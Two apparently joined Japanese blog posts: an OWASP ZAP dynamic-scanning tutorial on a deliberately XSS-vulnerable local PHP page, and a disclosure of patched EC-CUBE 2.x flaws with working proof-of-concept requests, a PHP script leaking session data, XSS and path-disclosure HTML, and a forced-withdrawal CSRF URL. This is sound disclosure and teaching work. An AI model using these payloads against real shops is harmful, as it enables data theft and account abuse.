ある方から質問を受けたのもあり、OWASP ZAPの基本的な使い方(手動診断編)の続編として、「環境構築からテストサイトを構築して動的スキャンでXSSなどを検出するまで」の手順を解説してみます。

OWASP ZAP初心者が基本的な動的スキャン検査を行えるようになるまでの手順、という位置づけです。

ここでは、Windows環境で、XAMPPとOWASP ZAPを一からセットアップするという形で解説します。(Win以外の環境や、XAMPP以外の環境を使いたい方は適宜ご自身の環境に合わせて読み替えてください)

■Windwows環境でXAMPPを使ったテストサイトの構築


まず注意点ですが、普通にインターネット上に公開されているサイトにOWASP ZAPの動的スキャンなどをかけたら、サイバー攻撃と見なされて最悪通報されてしまうため、OWASP ZAPで診断を行う対象は「自己の管理下にあるサイト」である必要があります。

つまり、OWASP ZAPの使い方を習得するにあたっては、ローカル環境や社内LAN上に「練習用の診断対象サイト」(いわゆるわざと脆弱性を持たせた「やられサイト」)を構築することがまず必要です。

「やられサイト」にはOWASP Mutillidae 2などがありますが、「やられサイト」のインストール・使いこなしはそれはそれでやや敷居が高い面があり、何かしらサイトを構築した経験があるのであれば、「検出したい脆弱性があるサイト」をローカル環境に自力で作ってしまうのが一番敷居が低い・手っ取り早いように思うので、ここではその手順で説明します。

1.XAMPPのインストール

XAMPPダウンロードサイトよりWindows向けXAMPPをダウンロードし、インストールします。

インストール時の手順については、特に難しい設定はないと思いますので、図などは割愛します。基本的にデフォルトの設定で「次へ」で進んでいけばインストールが完了します。

XAMPPインストール完了後、「スタート」-「XAMPP」-「XAMPP Control Panel」を選択するとXAMPPのコントロールパネルが起動します。

XAMPPのコントロールパネルで「Apache」のところにある「Start」のボタンを押下すると、Apacheが起動し、ブラウザから「http://localhost/」にアクセスすると、XAMPPのApacheが動作していることを表す「Welcome to XAMPP for Windows 5.6.28」等の表記があるページが表示されます。



もし、XAMPPのコントロールパネルで「Apache」のところにある「Start」のボタンを押下してエラーになる場合は、80ポートを別のアプリケーションが使っている可能性があります。

例えば、Skypeが起動している場合、Skypeはデフォルトでは80ポートを使うためエラーになります。この場合Skypeのオプションで80ポートではなく別のポートを使うように設定するオプションがありますので、その設定でSkypeが80以外の別のポートを使うように設定してください。
参考:Skype が占有するポート 80 を変更する方法

2.脆弱性診断用テストサイトの構築

検出したい脆弱性のある動的ページを作成します。

環境がXAMPPなので、単純なXSSのあるサイトをphpなどで作ればよいのですが、本手順では、Hack Your Design!様が公開しているXSS脆弱性のあるPHPコード簡易サンプルが1ソースでシンプルなので、こちらを利用させていただきます。
(自分自身にPOSTするフォームで、POST値がそのままページ上に表示される、というサンプルソースです)

上記サイトのサンプルコードをXAMPP内のApacheのドキュメントルート(デフォルトでは「C:\xampp\htdocs」下)に、test.phpなどの名前で保存し、ブラウザから「http://localhost/test.php」というURLにアクセスし、POSTを行い、ちゃんとサンプルサイトがPHPとして動作していれば、ZAP練習用のXSS脆弱性のあるサイトが完成します。

(この手順のままのXAMPPデフォルト環境だと、「Notice: Undefined index: xss_text in C:\xampp\htdocs\test.php on line 7」のようなメッセージが画面上に表示されるかもしれませんが、特に動作に支障はないのでそのまま放置でも良いですし、気になる場合はphp.iniなどでnoticeレベルのメッセージは表示しないように設定しましょう)

■OWASP ZAPのインストール・ブラウザのプロキシ設定


3.OWASP ZAPのインストール・設定

OWASP ZAPプロジェクトのサイトからWindows版のZAPをダウンロードし、そのままインストールを行います。(本記事執筆時の最新版は2.5.0です)

インストール完了後、OWASP ZAPを起動し、メニューの「ツール」-「オプション」-「ローカル・プロキシ」で、ZAPの待ち受けポートが「8080」になっているのを「7777」などの空いているポートに変更します。
(8080のままでも良いですが、8080ポートは他のアプリケーションとかぶりやすいので、エラーではまるのを防ぐため別ポートにしておいたほうが安全です)


4.ブラウザのプロキシ設定

ブラウザのプロキシ設定でOWASP ZAPの待ち受けポートを指定します。ここではFirefoxでの手順を説明します。

Firefoxのメニューの「ツール」-「オプション」-「詳細」-「ネットワーク」タブの「接続 インターネット接続に使用するプロキシを設定します。」の横の「接続設定...」ボタンを押下します。

出てきたウィンドウで「手動でプロキシを設定する」ラジオボタンを選択し、HTTPプロキシ欄に、ホスト「localhost」、ポート「7777」(ZAPの待ち受けポート)を指定し、「すべてのプロトコルでこのプロキシを使用する」にチェックを入れます。
また、今回のテストサイトがlocalhost上にあるため、「プロキシなしで接続」欄に、「localhost」「127.0.0.1」がある場合は削除します。



■ブラウザで対象サイトにアクセス・動的スキャン実施まで


5.ブラウザで対象サイト操作

4.の手順でプロキシ設定を終えたブラウザで、2.の手順で構築したテストサイトにアクセスを行います。

テストサイトにブラウザからアクセスした際、OWASP ZAPの履歴タブ内にテストサイトへのアクセス履歴が表示されます。(ここではブラウザの通信を、ローカルプロキシであるZAPが中継して通信内容を表示しています。ここでZAPに何も反応がなければブラウザのプロキシ設定やZAPのポート設定などのどこかが間違っています)



テストサイト上のフォームから任意の値(「aaa」など)をPOSTします。二つ目の履歴(「メソッド」が「POST」になっているもの)がZAPの履歴タブ内に記録されます。



ここで安全のための手順として、ZAP左上の「モード」を「標準モード」から「プロテクトモード」に変更します。
プロテクトモードにすると、「コンテキスト」に入れたサイト以外に対しては「攻撃」メニューが実行できなくなり、ZAPからの攻撃対象でなくなります。サイトを「コンテキスト」に入れる方法は次で解説します。



サイトツリーの「http://localhost」を右クリックし「Include in Context」-「規定コンテキスト」を選択し、「セッション・プロパティ」ウィンドウが出るのでそのままOKを押します。





すると、サイトツリーの「http://localhost」に赤い二重丸がつきます。この二重丸が付いているサイトにしかZAPは動的スキャンなどの処理を行わないため、想定外のサイトを攻撃してしまう事故が起こらなくなります。



ZAPの履歴タブの二つ目の履歴(「メソッド」が「POST」になっているもの)をZAP上で右クリックし、コンテキストメニューから「攻撃」-「動的スキャン...」を選択します。



「動的スキャン」ウィンドウの「スコープ」タブで「Starting point」が目的のサイトか念のため確認し、「Show advanced options」チェックボックスをオンにします。すると、「スコープ」以外のタブが表示されます。



「入力ベクトル」タブで「POST Data」にチェックを入れます。



「ポリシー」タブの「インジェクション」で「クロスサイトスクリプティング(反射型)」がThreshold、Strengthともに「規定」になっていることを確認し「スキャンを開始」ボタンを押下します。



スキャンが完了すると、XSSが検出されます。



上記の手順は、テストサイトのPOSTにターゲットを絞ったものでしたが、サイトツリーの「http://localhost」を右クリックして動的スキャンを行うと、ZAPに記録されたlocalhost下の履歴全体に対する動的スキャンが行われ、同様にXSSが検出されます。

(厳密にはサイト全体への動的スキャンは「スコープ」タブで「再帰的」のチェックが入っている必要がありますが、サイトツリーで一番上のノードを選択して「動的スキャン」を選択した場合はデフォルトでチェックが入っています)

ここまでの手順が成功すれば、診断用のテストサイトを構築して、OWASP ZAPの動的スキャンでXSSが検出できたことになります。
SQLインジェクションなど、他の脆弱性を検出したい場合は、その脆弱性のあるテストサイトを作成し、同様の手順で動的スキャンを実施してみてください。


※OWASP ZAPの「クイックスタート」でのスキャンについて

上記手順はブラウザのプロキシを設定するなど、やや手間のかかる手順でした。

OWASP ZAPを起動すると、起動して表示される最初の画面に「クイックスタート」というタブが表示されていて、そこにお手軽に一発でサイトをスキャンできそうな入力欄があります。



なぜこれを使わないのか、と疑問に感じる方もおられるかもしれません。

手順3までの構築が終わり、XAMPP上にあるテストサイトで手動ではXSSが発動できるのに、テストサイトのURLをOWASP ZAPの「クイックスタート」のところにある「攻撃対象URL」欄に入力して「攻撃」を行っても、XSSが検出されません。

OWASP ZAP「クイックスタート」による検査は、対象として入力したURLを起点に「スパイダー」(クローリング)を実施し、その後で「動的スキャン」を実施する機能で、今回のテストサイトのXSSは検出されていいはずなのですが、何でこれが検出されないんだろうと思って調べたところ、「スパイダー」の記録ではちゃんとテストサイトへのPOST(XSS発火点)までクローリングしているのに、なぜか、「動的スキャン」のほうではGETしか見ておらず、検出されないという挙動であることが分かりました。

ZAPの「ツール」-「オプション」-「動的スキャンの入力ベクトル」設定ではちゃんとPOSTまで見る設定になっているのに、GETしか見てないのはおかしいので、またバグなのでは……? という感じなのですが、ちょっと「クイックスタート」でのスキャンは、私自身が今まであまり利用したことがないので、設定が足りていない等あるのかもしれません。(「クイックスタート」でのスキャンはZAPの標準モードでないと実施できないので、誤爆事故が起こりうる設定での全自動検査というのが危険と感じるためあまり利用していません)

ただ、とりあえずインストール直後のZAPのデフォルト設定で気軽に「クイックスタート」でスキャンしてみたところ、検出されるべき単純なXSSが検出できなかったという事象が今回発生したので、サイトへの動的スキャンをかけたい場合には、「クイックスタート」ではなく、本稿で説明したような「ブラウザにプロキシ設定を行って、そのブラウザでサイトを見て回り、ZAPに記録された履歴に対しての動的スキャン」という手順のほうが確実とは言えそうです。
(解説に含めませんでしたが、ブラウザでサイトを見て回った後、ZAPの「スパイダー」機能を使ってクローリングを補強しても良いと思います)

「クイックスタート」での不検出問題については、後日時間があったら調べてバグだったらまたGithubに報告を挙げておきます。


※本稿のOWASP ZAPでの動的スキャンの手順は、「脆弱性診断ええんやで」講師松本さんから教えてもらった内容をベースにしています。
https://security-testing.doorkeeper.jp/

ある方よりEC-CUBEのある脆弱性の情報公開の要望を受け、EC-CUBE3がリリース一周年となり、EC-CUBE2.13が2017年7月にサポート終了ということも考えるとそろそろ頃合いかとも思えたので、私が以前発見したEC-CUBEの脆弱性について詳細を公開します。

脆弱性の詳細を公開する理由は、いわゆるフルディスクロージャの考え方によります。
脆弱性の情報を全員が把握している状態になっているほうが、攻撃ログを解析しやすくなったり、脆弱性の有無を判定できるようになったり等、脆弱性への対策を立てやすくなります。
(もちろん攻撃者も詳細を知ることになるわけですが、OSSの場合脆弱性が公表された日からずっと、パッチの解析などの手段で攻撃者が情報を入手しうる状態は続いているので、いつ攻撃が発生するか分からないし、もしかしたら既に気づかれない形で攻撃が発生しているかもしれない、ということから考えると、脆弱性の情報公開は、タイミングをはかる必要があるにしても、防御側の情報共有のためにむしろ積極的にしたほうが良いということになります)

EC-CUBEの場合、2系のものはカスタマイズして使われることが多いと思われますが、カスタマイズ時に再度脆弱性が作りこまれてしまったりする問題が解消されると思われます。

EC-CUBE2.1x系には自動アップデート機能がないので、開発元のロックオン社からパッチが配布されても適用は手作業となるため、情報の公開には多少の期間をおくべきと思われましたが、今回公表する内容は開発元のパッチ公開から十分な時間が経っていますし、逆にいささか時間を置きすぎたかもしれません。

今回ここで詳細を解説する脆弱性は全て、公表時にロックオン社からEC-CUBEダウンロード者に対策パッチ公開を知らせるメールが飛び、ロックオン社公式サイトに脆弱性情報および対策のページが公開されたものであり、(比較的軽微な一件を除いて)JVNが公開されたものです。


今回公開する脆弱性のリストです。
情報の分量が多いのと、一応最後の念押しとして、前後編に分け、まずは比較的危険性が低いものから前編として公開しようと思います。

[前編]
・お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)
・ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)
・クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)
・ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)
・クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

[後編の内容予告]
・[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)
・[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)
・[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)
・[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

後編は何事もなければ一週間後の8/24(水)深夜か、遅くとも8/25(木)深夜には公開しますので、万が一まだパッチが当たってないEC-CUBEがある場合は後編が公開される前にご対応ください。(デモサイト等にもご注意ください)


■お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=44
JVNなし
情報公開日2013年 05月 22日
危険度中
対象EC-CUBE Ver 2.11.0以降(2.11.0 ~2.12.3)
これは比較的軽微な脆弱性と言えると思いますが、EC-CUBEのお届け先複数指定画面上のさまざまな値にエスケープが入っておらず、セルフXSSの形でXSSが可能となっていた、というものでした。

この画面にはuniqidというパラメータによりCSRFチェックが入っているため、第三者がユーザーにリンクを踏ませてXSSを発動させるということができず、セルフXSSしかできないものだったので、脆弱性としての危険度はそれほど高くありません。

本件の修正のチェンジセットを参照すれば何が問題だったのかだいたい把握できると思います。
http://svn.ec-cube.net/open_trac/changeset/22784


■ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=48
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000061.html
情報公開日2013年 06月 26日
危険度低
対象EC-CUBE 2.12.5 より前のバージョン

これはWindowsサーバー上で稼働しているEC-CUBE上記バージョンにおける脆弱性で、サーバー上の任意の場所の画像ファイルが参照可能となる脆弱性です。

重要度は比較的低い脆弱性ですが、同一サーバー上に第三者に見られてはいけない画像ファイル(例えば会員登録システムが併設されていて、身分証の画像など)があったりすると危険度は高くなります。
本件はWindowsサーバー上で運用されているEC-CUBEのみが対象です。

EC-CUBEのresize_image.phpが読み込める画像は、設定ファイルにより、定数IMAGE_SAVE_REALDIR下の画像に制限されていたのですが、指定されたファイルパスをチェックする正規表現に穴があり、Windows環境の場合、チェックをすり抜けて相対パスを指定することが可能でした。

LC_Page_ResizeImage.phpのlfCheckFileName()関数のプログラムコードは以下のようになっています。
function lfCheckFileName() {
    //$pattern = '|^[0-9]+_[0-9a-z]+\.[a-z]{3}$|';
    $pattern = '|\./|';
    $file    = trim($_GET['image']);
    if (preg_match_all($pattern, $file, $matches)) {
        return false;
    } else {
        return true;
    }
}
この関数では、正規表現で「./」がパスに含まれる場合、正しくないファイル名としてfalseを返すようになっていますが、Windows環境の場合、パスの区切りに「\」を使う事ができるので、この指定方法を使えば、上記の正規表現に引っかからず、IMAGE_SAVE_REALDIRよりも上位のディレクトリの画像を指定することが可能となります。

例)
エラーになるケース

resize_image.php?image=../someimage.jpg&width=80&height=80

→画像は表示されない

チェックをすり抜けることができるケース

resize_image.php?image=..\someimage.jpg&width=80&height=80

→IMAGE_SAVE_REALDIRの一つ上のディレクトリのsomeimage.jpgが表示される

そのため、Windows環境におけるresize_image.phpのこの脆弱性を用いると、サーバ内の非公開領域にある画像であっても、画像の位置が分かっていれば、インターネット側から参照することが可能となります。

ただし当該プログラムの仕様により、本脆弱性を使ってもgif,jpg,png画像以外のファイルの表示ができないので、サーバー上に画像の形で重要情報が置いてあるケースは限られるため、一般的にはそこまでの危険性を持つ脆弱性とは言えないのではないかと思いますが、身分証画像やマイナンバー通知書画像のアップロードがあるシステムと同居している等、画像による重要情報がサーバー上にあり、パスが第三者に推測可能なケースの場合には情報漏えいの危険があります。

(※本件届出時に「.\/」でチェックをバイパスできる現象を発見した際の理解が間違っていて、「\でエスケープをしている」というような謎説明で届出を行っていたのですが、そんなわけはなく、上記が正しい説明です。謹んで訂正いたします)


■クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=54
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000105.html
情報公開日2013年 11月 19日
危険度低
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5

本件はEC-CUBEに関しての一番最初の届出だったのですが、再現方法が複雑で、自分の説明がうまくなかったのもあって、IPAの方と話がうまくかみ合わず苦労した覚えがあります。

これはPostgresを利用しているEC-CUBEの上記バージョンにおいて、不正なUTF-8文字コードをリクエストに含めるとエラーが発生し、エラーメッセージとして、PHPSESSIDに紐づいているPHPセッションオブジェクトに入っている情報の先頭680バイト部分(長さは環境による)が、ユーザーのブラウザ上で暴露されてしまう、という脆弱性と、そのエラーメッセージのダンプにタグを含ませることができ、XSSが可能、という脆弱性です。

再現に使ったPostgreSQLのバージョンは9.2.3で、MySQL利用のEC-CUBEだと再現せず、またEC-CUBE2.12.3では同様の攻撃を行っても情報は出力されませんでした。

当時使った検証プログラムのPHPコードが出てきたので貼ります。
<?php
$results = send_socket();
file_put_contents(".\attack_single.txt", $results);

//送信関数
function send_socket(){ 
    $data = '';
    $host = 'localhost';
    $port = '88'; 
    $sock = fsockopen($host, $port);

    $request= <<< _EOM
GET http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=%%%_param_%%% HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=o4hl7bc8on7hi0em9a29efmnu6
Connection: close


_EOM;

    $request_fix=str_replace("%%%_param_%%%", "\xe0\x80\xa7", $request);

    if(!$sock){
        $data = 'socket error:' . $host;
    }else{
        fputs($sock, $request_fix);
        while(!feof($sock)){
            $data .= fgets($sock);
        }
        fclose($sock);
    }
    return $request_fix."\n\n---\n\n".$data;
}

これで http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7 というリクエストをソケットで直接EC-CUBEに投入すると、CCUBEからのレスポンスの末尾(までの通常ページ出力の後)に下記エラーメッセージが出力され、SQL文とHTTPセッションの中身が出力されます。
<b>Fatal error</b>:  https://localhost:88http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='

SERVER_ADDR: 127.0.0.1
REMOTE_ADDR: 127.0.0.1
USER_AGENT: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0

SQL: UPDATE dtb_session SET sess_data= $1, update_date= CURRENT_TIMESTAMP WHERE sess_id = $2

PlaceHolder: array (
0 => 'cart|a:0:{}prev_url|s:67:"http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='";transactionid|s:40:"1c2ce3a89c216f41d22355562458763d2b8e43cf";customer|a:38:{s:11:"customer_id";s:1:"3";s:6:"name01";s:1:"a";s:6:"name02";s:3:"あ";s:6:"kana01";s:3:"ア";s:6:"kana02";s:3:"ア";s:5:"zip01";s:3:"160";s:5:"zip02";s:4:"0022";s:4:"pref";s:1:"1";s:6:"addr01";s:3:"あ";s:6:"addr02";s:3:"あ";s:5:"email";s:19:"*********@gmail.com";s:12:"email_mobile";N;s:5:"tel01";s:2:"03";s:5:"tel02";s:4:"1122";s:5:"tel03";s:4:"3344";s:5:"fax01";N;s:5:"fax02";N;s:5:"fax03";N;s:3:"sex";s:1:"1";s:3:"job";N;s:5:"birth";N;s:8:"password";s:64:"01818cc1125632aaced1b84fb62b90c5ca264339a43f31dc701b2 in <b>C:\fsc\xampp\htdocs\eccube-2.11.5pg\data\class\SC_Query.php</b> on line <b>917</b><br />

セッションIDに紐づいた情報しか見れないので、自分に関するセッションデータしか見ることができないのですが、このダンプでもパスワードハッシュの一部が見えているという要素があり、php.iniのlog_errors_max_len がデフォルトより長く設定してあるともっとダンプされる内容の表示が長くなり、管理画面側からユーザーに対して登録された「SHOP用メモ」の内容が見えてしまう、という要素があったので、「セッション情報が暴露される」という内容で届出を行いました。

ただ、一般的な脆弱性ではなく、届出を行う窓口を最初間違えていたりとか、いろいろあってなかなか話が通じず、いろいろ説明しているうちに、このエラー表示にタグを含めてXSSすることが可能であることに気づきました。

PHPプログラムでソケットなどをわざわざ使わなくとも、IEはパラメーターをURLエンコードしないでサーバーに投入する仕様なので、下記のHTMLファイルをIEで開けば上記のようなセッション暴露およびXSSが可能でした。
<html>
<body>
<script>
document.location = "http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7&a=<script>alert('XSS')</scr"+"ipt>";
</script>
</body>
</html>
これをIEで開いた結果、このようにエラー表示内にscriptタグを含ませたり、セッションデータの暴露が行われたりしました。




■ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=52
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000098.html
情報公開日2013年 11月 19日
危険度中
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

公開側のマイページ内の /mypage/delivery_addr.php に対し、ParentPageパラメータを「/s」のような値でPOSTすると、ソースコード上で、システム内部の絶対パスが露出する脆弱性でした。

例えば

<html><body>
<form action="http://localhost/eccube-2.12.5/html/mypage/delivery_addr.php"
method="post">
<input type="text" name="ParentPage" value="/s">
<input type="submit" value="submit">
</form>
</body></html>

のようなhtmlでdelivery_addr.phpにPOSTを行うと、まずPOST二回に一回は「不正なアクセスです」エラーになるという挙動があるのですが(この挙動の原因は調べきれず不明です)、正常なページが返ってくるほうのレスポンスで、ソースコード上にサーバ側のHTML_REALDIR定数の絶対パスが露出しています。
(未ログインであることが前提。ログイン済みだとこの現象は起こりません)
<script type="text/javascript">//<![CDATA[
    $(function(){
        fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/www/eccube-2.12.5/html'); window.close();
    });
//]]></script>
</head>
※少し分かりづらいのですが、fnUpdateParent関数の引数のところにサーバ内部のフルパスが出力されています。
この例だと
http://localhost/eccube-2.12.5/html/
までは正規の出力で、それに続く
/home/exampleuser1/www/eccube-2.12.5/html
がサーバ内部の絶対パスの出力です。

ここでこの現象が起こるのは「/」で始まって、「/」で終わっていない存在しないディレクトリ名をParentPageに指定した時で、内部的にHTML_REALDIR定数の内容と合致する箇所の削除がされて出力されるところが、されなくなるのでHTML_REALDIRのフルパスが出力される、というメカニズムのようです。

この現象を利用してシステム内のファイルの絶対パスが取得できます。
LC_Page.phpのgetRootPath関数では、ROOT_URLPATHの文字数分削除した後にrealpathを取るという処理があるので、例えばROOT_URLPATHの文字数が20文字の場合

/aaaaaaaaaaaaaaaaaa/../../../../log/access_log


のような値をPOSTすると、先頭20文字が削られ、/../../../../log/access_log となり、ec-cubeのhtmlディレクトリからの相対でその位置にファイルが存在すれば

fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/log/access_log');

のようなレスポンスが返ってきます。

(指定したファイルが存在しなければ
fnUpdateParent('http://localhost/eccube-2.12.5/html/')
が返ってきます。)

これを利用してシステム内の様々なファイルのパスを取得することが可能です。

ここで判明するのはファイルの絶対パスだけで、ファイルの中身が見れるわけではありませんが、絶対パスが分かることでシステム内の情報が探れるケースがあるため、ある程度の危険があります。


■クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=53
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000097.html
情報公開日2013年 11月 19日
危険度中
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

これは単純なCSRFで、マイページの退会処理の箇所でCSRFチェックが入っていないので、EC-CUBEにログインしているユーザーに下記のようなリンクを踏ませると、ワンクリックで強制退会させることができてしまう脆弱性です。

http://localhost/eccube/html/mypage/refusal.php?mode=complete



以後は後編の予告となります。
各脆弱性に該当するバージョンの情報や開発元のパッチの情報へのリンクがありますので、もし該当する脆弱性への対応がまだである場合、対応をお願いいたします。

■[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=42
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000043.html
情報公開日2013年 05月 22日
危険度高
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2

これはWindowsサーバー上、もしくはlinuxサーバー上の特定環境で稼働しているEC-CUBEの上記バージョンにおいて、管理画面に攻撃者が認証せずに入ることができ、管理画面上の操作ができてしまう脆弱性です。

侵入者は管理画面の大半の処理ができ、一部できない処理もありますが、顧客情報のCSVダウンロード等、重大な処理が行えてしまいます。

本件は後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。

(参考資料)
この脆弱性については、EC-CUBEエバンジェリストの川口歩氏が、この脆弱性を含む4件の脆弱性(2013/5/22に公表された4件)を解説している動画が公開されています。下北沢オープンソースCafeのEC-CUBE部(東京ユーザ会)の動画「EC-CUBE最新版と脆弱性」です。本脆弱性に関して結構きわどい解説をしていると思います。


■[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=49
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000062.html
情報公開日2013年 06月 26日
危険度高
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en

これは、攻撃者が任意のPHPコードを実行できるという危険な脆弱性です。

この脆弱性のあるEC-CUBE上で任意のPHPコードを実行できるため、WEBサーバーの権限でできる処理は何でもできてしまいます。外部から渡されたコマンドをサーバー上で実行するWEBシェルの作成も当然可能でしたので、サーバーを乗っ取られる危険性があります。
この攻撃を成立させるのには認証等は不要で、外部からいきなり攻撃を成立させることが可能です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=50
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000081.html
情報公開日2013年 08月 29日
危険度高
対象EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en

これは、ちょっとタイトルが微妙で、EC-CUBE2.12.4以前のバージョンの場合linux環境でも問題となる現象を起こせたのですが、届出時の最新版2.12.5の場合、入力チェックが厳しくなってwindows環境上のEC-CUBEでしか攻撃が成立しないことになったので、「Windowsサーバー環境における」というのが付いたのだと思います。

この脆弱性は、EC-CUBEのある機能にあったパストラバーサル脆弱性を特殊な形で突くことで、EC-CUBEに格納されている顧客情報を外部から入手するなどの処理ができるという内容です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報https://www.ec-cube.net/info/weakness/weakness.php?id=63
JVNDBhttp://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000166.html
情報公開日2015年 10月 23日
危険度中
対象EC-CUBE 2.11.0 から 2.13.4 まで

これは、管理画面に対するCSRFが有効な個所があり、その脆弱性がある画面で行うことができる機能の関係で、EC-CUBE管理画面にログイン中の管理ユーザーに対してあるURLを踏ませるだけで、結果としてPHPコードを実行できてしまう、という脆弱性です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


(2016.8.18 22時追記)
EC-CUBE開発元の株式会社ロックオンより、脆弱性の再現手順の一般公開はユーザーへの被害が発生する恐れがあるため、今回のブログ記事の後編の公開は止めてほしい、との申し入れが来ましたので、後編の公開を中止いたします。

また、ロックオン社とはEC-CUBEのセキュリティ向上という目的自体は同じですので、今後も継続的にコミュニケーションをとりながら、対応していければと思います。

